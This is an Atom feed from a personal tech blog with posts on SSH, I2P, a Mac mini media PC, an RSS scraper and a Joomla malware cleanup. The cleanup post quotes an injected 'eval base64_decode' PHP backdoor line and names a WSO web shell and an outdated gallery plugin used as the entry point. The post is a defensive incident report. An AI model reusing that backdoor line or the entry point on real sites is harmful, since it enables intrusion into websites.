The picture will be hosted on the server for 24h, the &lt;span class=&quot;caps&quot;&gt;URL&lt;/span&gt; will be presented to you in the textbox in the application. There are two buttons, one allows you to open the &lt;span class=&quot;caps&quot;&gt;URL&lt;/span&gt; in the browser and the other copies the &lt;span class=&quot;caps&quot;&gt;URL&lt;/span&gt; to the clipboard so you can paste it later in an e-mail, on &lt;span class=&quot;caps&quot;&gt;IRC&lt;/span&gt; or on a forum. Remember; Sharing is caring!&lt;/p&gt;&lt;br /&gt;
&lt;h3&gt;&lt;span class=&quot;caps&quot;&gt;FAQ&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;When will the application be available for the public?&lt;/b&gt; &lt;br/&gt;Before the week ends hopefully, I am working on a few last minute fixes and some graphics for the icons&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;How big pictures can I host?&lt;/b&gt; &lt;br /&gt;The limit hasn&amp;#8217;t been set yet. It will depend on how though the load on the server will be and if I can afford more server power from my ads/flattr-revenue. &lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;How many pictures can I host?&lt;/b&gt; &lt;br /&gt;The limit hasn&amp;#8217;t been set yet. See the question above.&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;Help! I uploaded a picture by mistake, how do I remove it?&lt;/b&gt;&lt;br /&gt;At the bottom of the page there is a link called &amp;#8220;remove this image&amp;#8221; press that. If you are using the same IP as when you uploaded the image then the picture will be removed automatically. If you are not you have to type in your Secret (found in Menu&amp;#8594;Secret on the android app) in the box that will promt you for it.&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;I found a picture breaking the rules!&lt;/b&gt;&lt;br /&gt;Report it to the email at the bottom of the pictre, don&amp;#8217;t forget to include the &lt;span class=&quot;caps&quot;&gt;URL&lt;/span&gt;!&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;I found a bug in the appilcation&lt;/b&gt;&lt;br /&gt;Send me an email and explain the problem, or drop a comment below. I develop this app on my spare time but I will do my best to fix any problems discovered. &lt;/p&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;p&gt;I develop this application on my spare time, and I pay the server fee out of my own pockets so any monetary support I could get is highly appriciated. Below is a link the the projects flattr!&lt;/p&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;p&gt;Flattr the project:&lt;br /&gt;
&lt;a class=&quot;FlattrButton&quot; style=&quot;display:none;&quot;
href=&quot;http://blog.kejsarmakten.se/sharephoto.html&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Flattr the blog:&lt;/p&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Display RSA fingerprint visually on Ubuntu</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/02/01/visual-rsa-fingerprint.html"/>
    <updated>2011-02-01T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/02/01/visual-rsa-fingerprint</id>
    <content type="html">&lt;h2&gt;Display &lt;span class=&quot;caps&quot;&gt;RSA&lt;/span&gt; fingerprint visually on Ubuntu&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;01 Feb 2011&lt;/p&gt;
&lt;p&gt;Today I got reminded of a great trick to overview the &lt;span class=&quot;caps&quot;&gt;RSA&lt;/span&gt; fingerprint when you &lt;span class=&quot;caps&quot;&gt;SSH&lt;/span&gt; to a remote machine. &lt;br /&gt;
It makes it alot easier to get an overview of the fingerprint and see if somethings looks wrong/different.&lt;br /&gt;
Just add &lt;pre class=&quot;terminal&quot;&gt;VisualHostKey yes&lt;/pre&gt; to your ssh config file (on most linux dists it in /etc/ssh/ssh_config). The output will then like this:&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;The authenticity of host '192.168.1.100 (192.168.1.100)' can't be established.
RSA key fingerprint is 14:6f:09:d6:fd:26:33:f3:48:8c:05:5c:c0:6e:25:2f.
+--[ RSA 2048]----+
|                 |
|       .         |
|        + .      |
|       . =       |
|        E +      |
|       o = *     |
|        = + *    |
|       . o ==o.  |
|          o .Bo  |
+-----------------+
Are you sure you want to continue connecting (yes/no)? &lt;/pre&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Saturday hack</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/01/31/hacknight.html"/>
    <updated>2011-01-31T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/01/31/hacknight</id>
    <content type="html">&lt;h2&gt;Saturday hack&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;31 Jan 2011&lt;/p&gt;
&lt;p&gt;Yesterday was hacknight and I had a few friends over in my appartment. &lt;br /&gt;
We also made it a key signing party so now you can find my &lt;span class=&quot;caps&quot;&gt;PGP&lt;/span&gt; key &lt;a href=&quot;/about.html&quot;&gt;here&lt;/a&gt; or on &lt;a href=&quot;http://pgp.mit.edu&quot;&gt;pgp.mit.edu&lt;/a&gt;. If you want to communicate with me encrypted.&lt;/p&gt;
&lt;p&gt;I mostly worked on a proof of concept &lt;a href=&quot;http://cryptoanarchy.org/wiki/Blackthrow&quot;&gt;Blackthrow box (svartkast)&lt;/a&gt; which I will probably write more about in the future when it is done. We got most of the features working on it with both as a &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt;-hidden service and accesable through I2P. The truecrypt disks are mounted by hand on the otherwise unencrypted system to make it more recilliant to power-outs and other reboots. More on this subject another day.&lt;/p&gt;
&lt;p&gt;There where also some Android hacking going on and a arty java- program was written to play any binary file as a &lt;span class=&quot;caps&quot;&gt;MIDI&lt;/span&gt; song&amp;#8230; :D (source and the developers blog can be found &lt;a href=&quot;http://www.implode.se/2011/01/30/d10-hacknight/&quot;&gt;here&lt;/a&gt;). &lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Spider_trap&quot;&gt;A crawlbot trap&lt;/a&gt; was also developed (for bots who doesn&amp;#8217;t follow robots.txt). I&amp;#8217;m hoping to be able to publish the source code for it here soon! Stay tuned. &lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/images/hack2.jpg&quot;&gt;&lt;img src=&quot;/images/hack2.jpg&quot; width=&quot;300px&quot; alt=&quot;Great minds think alike ;D&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;/images/hack1.jpg&quot;&gt;&lt;img src=&quot;/images/hack1.jpg&quot; width=&quot;300px&quot; alt=&quot;/facepalm&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;/images/hack3.jpg&quot;&gt;&lt;img src=&quot;/images/hack3.jpg&quot; width=&quot;300px&quot;/&gt;&lt;/a&gt;&lt;br /&gt;
&lt;p&gt;All in all it was a fun night. I hope we will be able to host another hack night soon.&lt;/p&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Blog available through I2P Darknet!</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/01/22/blog-available-through-i2p.html"/>
    <updated>2011-01-22T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/01/22/blog-available-through-i2p</id>
    <content type="html">&lt;h2&gt;Blog available through I2P Darknet!&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;14 Jul 2010&lt;/p&gt;
&lt;p&gt;This site is now available through the i2p darknet on &lt;a href=&quot;http://blog.kejsarmakten.i2p&quot;&gt;this address&lt;/a&gt;. &lt;br /&gt;
If it is not working you can try the base32 address &lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;http://l6jdiukagsjyojpdhufpsrap5csi6z5tbiedz6v7ze6ohldqzt5a.b32.i2p/&lt;/pre&gt;&lt;/p&gt;
&lt;p&gt;But what is I2P? Visit &lt;a href=&quot;http://i2p2.de&quot;&gt;i2p2.de&lt;/a&gt; to learn more about it. &lt;br /&gt;
Short answer is that I2P is a tool for democracy and freedom of speech. &lt;br /&gt;
Here is a guide I&amp;#8217;ve written (in Swedish) on &lt;a href=&quot;/all/software/2010/12/03/connecting-to-i2p.html&quot;&gt;how to connect to i2p&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  
 
  
  <entry>
    <title>Updated Atom feeds for the blog</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/01/20/updated-atom-feed.html"/>
    <updated>2011-01-20T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/01/20/updated-atom-feed</id>
    <content type="html">&lt;h2&gt;Updated Atom feeds for the blog&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;20 Jan 2011&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;
Now there are three different Atom- feeds for this blog. &lt;br /&gt;
One that has all the new blog posts &lt;a href=&quot;http://blog.kejsarmakten.se/atom.xml&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
One for those who are only interested in the software development part of the blog &lt;a href=&quot;http://blog.kejsarmakten.se/atom_software.xml&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
And one for those who are not interested in the software posts at all &lt;a href=&quot;http://blog.kejsarmakten.se/atom_personal.xml&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Mac mini as a HTPC</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/01/19/mac-mini-as-htpc.html"/>
    <updated>2011-01-19T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/01/19/mac-mini-as-htpc</id>
    <content type="html">&lt;h2&gt;Mac mini as a &lt;span class=&quot;caps&quot;&gt;HTPC&lt;/span&gt;&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;19 Jan 2011&lt;/p&gt;
&lt;p&gt;About a year ago I bought my first OS X machine, a &lt;a href=&quot;http://support.apple.com/kb/SP577&quot;&gt;mac mini (late 2009 model)&lt;/a&gt;, to use as a &lt;span class=&quot;caps&quot;&gt;HTPC&lt;/span&gt; in our living-room.&lt;br /&gt;
Here are my thoughts on how it has worked out if you are planning on buying one yourself for the same purpose.&lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;&lt;b&gt;Looks:&lt;/b&gt; As you can see on the pictures below the Mac Mini is a stylish little piece of computer. It fits discreetly in the room, and &lt;a href=&quot;http://www.apple.com/macmini/&quot;&gt;the new model&lt;/a&gt; is even thinner. The machine is also really quiet and it is hard to notice if it is on or off (atleast if you are not reading from a CD).&lt;/li&gt;
	&lt;li&gt;&lt;b&gt;Connections:&lt;/b&gt; For sound I use the 3,5 mm audio cable and the screen is plug-in in to the TV with an Mini Display-Port to DVI.&lt;/li&gt;
	&lt;a href=&quot;http://en.wikipedia.org/wiki/File:Mac_Mini_Ports.jpg&quot;&gt;&lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/8/83/Mac_Mini_Ports.jpg&quot; width=&quot;650p&quot; /&gt;&lt;/a&gt;
	&lt;li&gt;&lt;b&gt;Energy-efficient:&lt;/b&gt; Apple claims that it is the &lt;i&gt;&quot;World's most energy-efficient desktop computer&quot;&lt;/i&gt;.&lt;/li&gt;
	&lt;li&gt;&lt;b&gt;Software:&lt;/b&gt; I use &lt;a href=&quot;http://www.plexapp.com/&quot;&gt;Plex&lt;/a&gt; as a media solution. It looks great and it is a pleasant way to browse through my videos. Plex works with music as well but it is not exceptional, I usually find myself using iTunes or VLC instead to play music even if I am not satisfied with them either. If you have any tips for me please leave a comment. &lt;/li&gt; 
	&lt;li&gt;&lt;b&gt;Remote control:&lt;/b&gt; The greatest feature on the Mac mini is the Apple Remote I bought with the computer. After a bit of tweaking I had it working great with Plex. I can start and browse all my movies without walking up to the TV. Unfortunately when it started to work with Plex it stopped working with all the other programs (like iTunes) which is a bummer. I haven't put much energy into fixing the problem and I guess there is a way around it (I found some apps for it but they where not free (as in beer) so I just never bothered). &lt;br /&gt;
	Another great feature with Plex it that it lets you watch compressed files so I do not have to unzip all my files manually and store them uncompressed.&lt;br /&gt;
	When I have to do other stuff on the Mac, like installations etc, I connect to it with openVNC from one of my Ubuntu computers and remote control it that way. Besides some trouble with key mapping it works great.&lt;/li&gt;
	&lt;li&gt;&lt;b&gt;Performance:&lt;/b&gt; I store my media on an Ubuntu Server with a Samba share. I have then mounted this share in Plex and stream all the media I watch/listen to. It works great, and I even run it over Wifi (Linksys wrt54gl router running Tomato). It plays 720p videos without much problems over the wifi but if I want to watch 1080p I have to transfer the file to the local Mac Mini hard-drive. I think that it is the wifi that is the bottle neck though.&lt;/li&gt;
	&lt;li&gt;&lt;b&gt;DVD-player:&lt;/b&gt;I do not watch much DVDs so I can't really say much about the DVD player. All i know is that is rather noicy, and I really miss BluRay support.&lt;/li&gt;
	&lt;li&gt;&lt;b&gt;Price:&lt;/b&gt; The Mac Mini cost more now then when I bought it. I think I payed about 6000 SEK for it (current price is 6995 SEK). It is and was a rather expensive computer. You could get something like this a lot cheaper and install some free Linux dist on it. But I thought it would be fun to try out working with OS X and get some experience with the OS and it has been a rather smooth ride so far. 
	&lt;li&gt;&lt;b&gt;Summary:&lt;/b&gt; Would I recommend it? Yeah sure, it is a great machine and it easy to use. It is a bit pricey though and you could easily achieve the same result with a small desktop computer running Linux and Xbox media center. As always it depends on how much time you want to spend on setting it up.&lt;/li&gt;	
&lt;/ul&gt;
&lt;br /&gt;
&lt;a href=&quot;/images/macmini1.jpg&quot;&gt;&lt;img src=&quot;/images/macmini1.jpg&quot; width=&quot;650p&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
&lt;a href=&quot;/images/macmini1.jpg&quot;&gt;&lt;img src=&quot;/images/macmini2.jpg&quot; width=&quot;650p&quot; /&gt;&lt;/a&gt; &lt;br /&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Malware on Joomla page</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/01/14/malware-in-joomla.html"/>
    <updated>2011-01-14T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/01/14/malware-in-joomla</id>
    <content type="html">&lt;h2&gt;Malware on Joomla page&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;14 Jan 2011&lt;/p&gt;
&lt;p&gt;I help running a Joomla website for a student organisation in Lund. We have had problems with someone getting access to our web server and adding code to our &lt;span class=&quot;caps&quot;&gt;PHP&lt;/span&gt; files.&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;The added code is mostly obfuscated with the command &amp;#8216;base64_decode(&amp;#8220;jsadj.. jibberish ..ajdsa&amp;#8221;)&amp;#8217;. You can read about an earlier encounter we had with this problem on my old blog &lt;a href=&quot;http://development.kejsarmakten.se/?p=60&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;It took us a long time to notice the attack since the only visible change they made to the website was to redirect google searches from our website to malware websites in Poland.&lt;br /&gt;
The difference between the last time and this latest injection is that this time there where thousands of lines of code added to the website. &lt;br /&gt;
I downloaded a copy of the website to my local Linux server (since we do not have &lt;span class=&quot;caps&quot;&gt;SSH&lt;/span&gt; access to our web server) and searched for “base64_decode” with this command&lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;
find . -type f -name &quot;*.php&quot; -exec grep -H &quot;base64_decode&quot; {} \; &gt; potentially_infected_files.txt
&lt;/pre&gt;&lt;br /&gt;
This search revealed that almost all php files on the website where infected. Then we began the cumbersome work to disinfect and remove all of the infected code (we had to be rather careful since Joomla also uses base64_decode in some places). &lt;br /&gt;
Then I stumbled over a way more simple way to remove most of the attackers work; In a file in called /cache/z.php there where a base64_decode function which decoded a very long message (a couple of thousand &lt;span class=&quot;caps&quot;&gt;LOC&lt;/span&gt;). It was somewhat hard to decode since they used several layers of obfuscation. They had encoded it with both base64, str_13 and then compressed it. With a little tinkering I managed to see the code though. &lt;br /&gt; It seemed to be some sort of a interface to control our website. But when I visited the /cache/z.php site directly through the browser all I could see was this: &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;/images/malware_login.png&quot;&gt;&lt;img src=&quot;/images/malware_login.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
So I set to work and removed the authentication sequence in the code and uploaded it to the file again. &lt;br /&gt;
I removed line 36 &lt;pre class=&quot;terminal&quot;&gt;( isset( $_POST['pass'] ) &amp;&amp; ( md5($_POST['pass']) == $auth_pass ) ) )&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
Now I had access to the attackers shell. Here is a picture of what it looked like:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/images/malware_shell.jpg&quot;&gt;&lt;img src=&quot;/images/malware_shell.jpg&quot; width=&quot;200px&quot; height=&quot;200px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I could make out from comments in the code that the tool is called &lt;span class=&quot;caps&quot;&gt;WSO&lt;/span&gt; Shell by oRb and can be downloaded &lt;a href=”http://www.opensc.ws/web-development/12530-wso2-5-a.html”&gt;here&lt;/a&gt;. &lt;br /&gt;
The best thing about finding the shell was the “self remove” button. So since I had the sited backed up I decided to try it out. And guess what, it worked. It removed almost all of the inserted code on the website! &lt;br /&gt;
Even though it removed the majority of the bad code it did not remove all of it. They had to get into the website to install the shell in the first place right? &lt;br /&gt;
A couple more rounds with the search commands helped me to find some more malware code. They had i.e. on several places left commands that looked like this&lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;
eval base64_decode($_POST[“php”]);
&lt;/pre&gt; 
&lt;br /&gt;
Which would allow them to execute any php code on the website they wanted. &lt;br /&gt;
This command help &lt;a href=&quot;https://kd35a.se&quot;&gt;us&lt;/a&gt; out a lot when we had to remove several versions of the same code in several files. &lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;find . -type f -name &quot;*.php&quot; -exec sed -i -e 's/eval(base64_decode(&quot;ZXJyb.. the thing you want to remove ..NCiR1YT0kX1=&quot;));//g' {} \; &lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When we had removed all of the injected code we were able to find we made an security upgrade of Joomla, changed all passwords and checked the site for &lt;span class=&quot;caps&quot;&gt;XXS&lt;/span&gt; (cross site scripting) vulnerabilities with a great Firefox add-on called &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/xss-me/&quot;&gt;&lt;span class=&quot;caps&quot;&gt;XXS&lt;/span&gt; ME&lt;/a&gt; but could not find any. &lt;br /&gt;
I hope that this post can aid someone who have similar problems.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span class=&quot;caps&quot;&gt;UPDATE&lt;/span&gt;: The entry point &amp;#8211; 2011-05-03&lt;/b&gt;&lt;br /&gt;
&lt;p&gt;Alright, once again the site was infected. Apparently the security flaw wasn&amp;#8217;t fixed in the security patch we downloaded for the website. Me and &lt;a href=&quot;https://kd35a.se&quot;&gt;my friend&lt;/a&gt; once again put our wise heads together to figure out how the attacker got in to the website. &lt;br /&gt;
We began by searching through the apache logs looking for access to the file &lt;i&gt;post.php&lt;/i&gt; which contained &lt;i&gt;eval base64_decode($_POST[“php”]);&lt;/i&gt; mentioned earlier. &lt;br /&gt;
After searching the logs we found someone had access the file.&lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;	$ grep -n -e &quot;POST	/includes/post.php&quot; access_combined.log
	$ 447914:www.website.com 70.00.000.000 - - [25/Apr/2011:14:02:04	+0200] &quot;POST /includes/post.php HTTP/1.1&quot; 200 406 &quot;-&quot; &quot;-&quot;&lt;/pre&gt;
&lt;br /&gt;
When we found access to the file in the logs we then searched the logs for the IP address that had accessed the file.&lt;br /&gt;
The result looked something like this&lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;	$ grep -n -e &quot;70.00.000.000&quot; access_combined.log
	$ 422787:www.website.com 70.000.00.00 - - [19/Apr/2011:12:27:39 +0200] &quot;POST /components/com_oziogallery2/imagin/scripts_ralcr/filesystem/writeToFile.php HTTP/1.1&quot; 200 5 &quot;none&quot; &quot;&quot;	&lt;/pre&gt;
&lt;br /&gt;
This gave us a rough list of what the attacker had been up to. And we could by looking at the earliest entries single out the entry point to our website. &lt;br /&gt;
It was an old plugin we had lying around that hadn&amp;#8217;t got an security update since 2009. In our case it was an old version of &lt;a href=&quot;http://extensions.joomla.org/extensions/photos-&amp;-images/photo-flash-gallery/4883/details&quot;&gt;Ozio Gallery&lt;/a&gt;. &lt;br /&gt;
We removed the plugin, uninstalled the attacker shell (as described above) and then removed all the base64 obfuscated redirects in the same manner as last time.&lt;br /&gt;
This time I even found a little greeting from the cracker crew in my robot.txt file.&lt;br /&gt;
&lt;b&gt;Good luck in your attempts to clean out your website.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Arduino hand controller controlling a pygame</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/01/09/ardunio-moves.html"/>
    <updated>2011-01-09T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/01/09/ardunio-moves</id>
    <content type="html">&lt;h2&gt;Arduino hand controller controlling a pygame&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;09 Jan 2011&lt;/p&gt;
&lt;p&gt;Blog post of minor interest perhaps but I am eager to show of the progress I&amp;#8217;ve done on my &lt;a href=&quot;/all/software/2010/11/09/arduino-sings.html&quot;&gt;Ardunio hand controller&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
I&amp;#8217;ve written a simple game in the python library Pygame which I am able to control with my hand controller. &lt;br /&gt;
It is no where near done, right now I only use the buttons and not the joystick. It would be fun to write real joystick firmware to it so I could use it with any game that has joystick support. We shall see what the future holds. &lt;br /&gt;
I&amp;#8217;m planning to release all of the source code here on the website as soon as I&amp;#8217;ve tidied it up a little. &lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;object width=&quot;425&quot; height=&quot;344&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/87cm-7qqpK0?hl=en&amp;fs=1&quot;&gt;&lt;/param&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;/param&gt;&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;/param&gt;&lt;embed src=&quot;http://www.youtube.com/v/87cm-7qqpK0?hl=en&amp;fs=1&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; width=&quot;425&quot; height=&quot;344&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>AF Bostäders nya lägenhenheter som RSS</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/01/04/AFB-rss.html"/>
    <updated>2011-01-04T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/01/04/AFB-rss</id>
    <content type="html">&lt;h2&gt;AF Bostäders nya lägenhenheter som &lt;span class=&quot;caps&quot;&gt;RSS&lt;/span&gt;&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;04 Jan 2011&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://blog.kejsarmakten.se/afbrss/&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/afblogo.png&quot; style=&quot;float:left;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; &lt;p&gt;Efter att min flickvän har klagat över att hon var tvungen att gå in på &lt;a href=&quot;http://www.afb.se/&quot; target=&quot;_blank&quot;&gt;www.afb.se&lt;/a&gt; varje dag för att se om det kommit upp några nya bostäder så beslöt jag mig för att skriva ett litet pythonscript som parsar AF Bostäders hemsida efter nya lägenheter och presenterar dem som ett &lt;span class=&quot;caps&quot;&gt;RSS&lt;/span&gt; flöde som man kan följa med t.ex Google Reader.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Det är ett snabbt hack men jag tänkte att det kanske finns någon annan som också skulle kunna vara intresserad av att uttnyttja &lt;span class=&quot;caps&quot;&gt;RSS&lt;/span&gt;-flödet så jag länkar till det &lt;a href=&quot;http://blog.kejsarmakten.se/afbrss/&quot; target=&quot;_blank&quot;&gt;här&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;För tillfället så är &lt;span class=&quot;caps&quot;&gt;UTF&lt;/span&gt;-8 encodingen inte är helt korrekt så åäö blir ibland fel tecken. Utöver det tänkte jag lägga till så att man kan ställa in i sitt flöde om man endast vill ha med lägenheter i en viss storlek eller från ett visst område. Uppdaterar här, samt skriver på &lt;a href=&quot;https://twitter.com/#!/kejsarmakten&quot; target=&quot;_blank&quot;&gt;twitter&lt;/a&gt; när det är fixat. &lt;br /&gt; Har du någon nytta av flödet så flattr;a mig gärna!&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Om ni märker att feeden slutar fungera eller att något saknas så lägg gärna en kommentar nedanför eller så skicka mig ett mail och beskriv vad det är som saknas!&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Här en Flattr-knapp till &lt;span class=&quot;caps&quot;&gt;RSS&lt;/span&gt; feeden, tryck gärna och hjälp mig betala serverkostnaderna :* &lt;br /&gt;&lt;br /&gt;
	&lt;a class=&quot;FlattrButton&quot; style=&quot;display:none;&quot; href=&quot;http://blog.kejsarmakten.se/all/personal/2011/01/04/AFB-rss.html&quot;&gt;&lt;/a&gt;&lt;br /&gt;
	&lt;noscript&gt;&lt;a href=&quot;http://flattr.com/thing/277503/AF-Bostaders-nya-lagenheter-som-RSS&quot; target=&quot;_blank&quot;&gt;&lt;br /&gt;
	&lt;img src=&quot;http://api.flattr.com/button/flattr-badge-large.png&quot; alt=&quot;Flattr this&quot; title=&quot;Flattr this&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/noscript&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;Update:&lt;/b&gt; På grund av ökad popularitet för &lt;span class=&quot;caps&quot;&gt;RSS&lt;/span&gt; feeden har jag skrivit om det lite så att det nu mera är ett cron- job som körs en gång om dagen (kl 0100, ungefär när &lt;span class=&quot;caps&quot;&gt;AFB&lt;/span&gt; updaterar sina nya bostäder) istället för att scriptet körs var gång någon besöker hemsidan. Det minskar trafiken till www.afb.se kraftigt så jag slipper överbelasta dem. Ni som använder feeden bör inte märka någon skillnad då afb endast verkar updatera hemsidan en gång per dygn ändå.&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;English summary:&lt;/b&gt; I&amp;#8217;ve made a small python hack to parse www.afb.se for new apparments from &lt;span class=&quot;caps&quot;&gt;AFB&lt;/span&gt; in Lund, Sweden, and present it as an &lt;span class=&quot;caps&quot;&gt;RSS&lt;/span&gt;-feed. &lt;a href=&quot;http://blog.kejsarmakten.se/afbrss/&quot; target=&quot;_blank&quot;&gt;Here is a link to it&lt;/a&gt;.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Common sense</title>
    <link href="http://blog.kejsarmakten.se/all/software/2010/12/15/common-sense.html"/>
    <updated>2010-12-15T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2010/12/15/common-sense</id>
    <content type="html">&lt;h2&gt;Common sense&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;15 Dec 2010&lt;/p&gt;
&lt;p&gt;When talking to people about computers I am often surprised at how many who forget/don&amp;#8217;t care to/don&amp;#8217;t know how to do a few basic things every computer user should do. So I thought I&amp;#8217;d summarize a few tips below.&lt;/p&gt;
&lt;ol&gt;
	&lt;li&gt;&lt;a href=&quot;#backup&quot;&gt;Backup your data regularly.&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
	&lt;li&gt;&lt;a href=&quot;#encrypt&quot;&gt;Encrypt your hard drives.&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
	&lt;li&gt;&lt;a href=&quot;#https&quot;&gt;Use encrypted connections when you are on a network&lt;/h&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;&lt;a name=&quot;#backup&quot;&gt;Backup your data regularly!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You &lt;span class=&quot;caps&quot;&gt;WILL&lt;/span&gt; lose your files unless you backup your files on an external media.&lt;/p&gt;
&lt;p&gt;Think of all the family pictures, videos and all the memories that will be lost if your hard drive broke?&lt;/p&gt;
&lt;p&gt;If you do any kind of work on your computer this gives you even more of a reason to back it up.&lt;/p&gt;
&lt;p&gt;There are millions of ways that you can lose your files. Your hard drive can simply break, you might accidentally delete something, it might be stolen (big risk with a laptop), your house might burn down or the police might &lt;a href=&quot;http://www.satmaran.com/2010/september/en-fildelares-skrammande-historia.html&quot;&gt;steal it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Backup your files, and do it regularly! Preferably back it up to  a location outside your house (so it won&amp;#8217;t get stolen or burnt in case of a robbery or a fire). &lt;br /&gt;
There are several ways to do this, either you ask a friend to set up an &lt;span class=&quot;caps&quot;&gt;FTP&lt;/span&gt; server on her computer to which you could upload your files (tip: store them encrypted so she can&amp;#8217;t see your private files). In return for the favor you can offer her to backup files on your hard drive, or you could give her a disk to store your files on. &lt;br /&gt;
